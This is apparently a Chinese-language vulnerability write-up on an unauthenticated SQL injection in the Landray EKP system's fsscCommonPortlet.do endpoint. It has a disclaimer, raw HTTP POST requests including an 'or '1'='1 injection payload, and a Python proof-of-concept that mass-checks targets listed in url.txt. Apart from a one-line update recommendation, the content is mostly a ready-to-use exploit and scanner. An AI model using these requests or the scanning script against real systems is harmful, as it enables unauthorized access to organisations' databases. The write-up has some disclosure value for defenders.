免责声明:
本文聚焦于特定漏洞及安全风险,详尽阐述相关信息,旨在助力安全研究人员、系统管理员与开发人员深入理解潜在安全威胁,进而有效修复隐患,同时也期望借此提升大众网络安全意识,推动技术持续进步,绝无任何恶意企图。需着重提醒的是,本文所提及的漏洞信息仅适用于合法合规的研究与防护场景,私自利用这些信息进行测试,极有可能违反法律法规或服务协议规定。对于读者依据本文内容所采取的任何行动及由此产生的一切后果,作者概不负责。倘若存在任何侵权疑问或问题,请及时与作者取得联系,以便及时删除相关内容。
漏洞描述
蓝凌EKP系统fsscCommonPortlet.do存在未授权SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息。
复现环境
fofa:

访问一下save方法验证一下环境
1 2 3 4 5 6 7 8 9 10 11
| POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1 Host: Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-TW;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 76
createTime=1&docSubject=1&fdId=&fdName=1&fdNum=1&fdStatus=1&method=saveICare
|
1 2 3 4 5 6 7 8 9 10 11
| POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1 Host: Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-TW;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 76
method=getICareByFdId&fdNum=asdasd'+or+'1'='1&ordertype=down
|

验证poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import requests import urllib3 import sys urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def poc(url): uri="/ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do" url+=uri data={ 'method':'saveICare', 'fdId':'', 'fdNum':'1', 'docSubject':'1', 'fdName':'1', 'createTime':'1', 'fdStatus':'1' }
res=requests.post(url=url,data=data,verify=False, allow_redirects=False) if 'result' in res.text: print("存在漏洞:",url)
with open('url.txt','r') as f: for line in f: url_1=line.strip() poc(url_1)
print("程序执行完毕,即将退出") sys.exit(0)
|

修复建议:
官方已经发布修复后的版本,更新到最新版即可。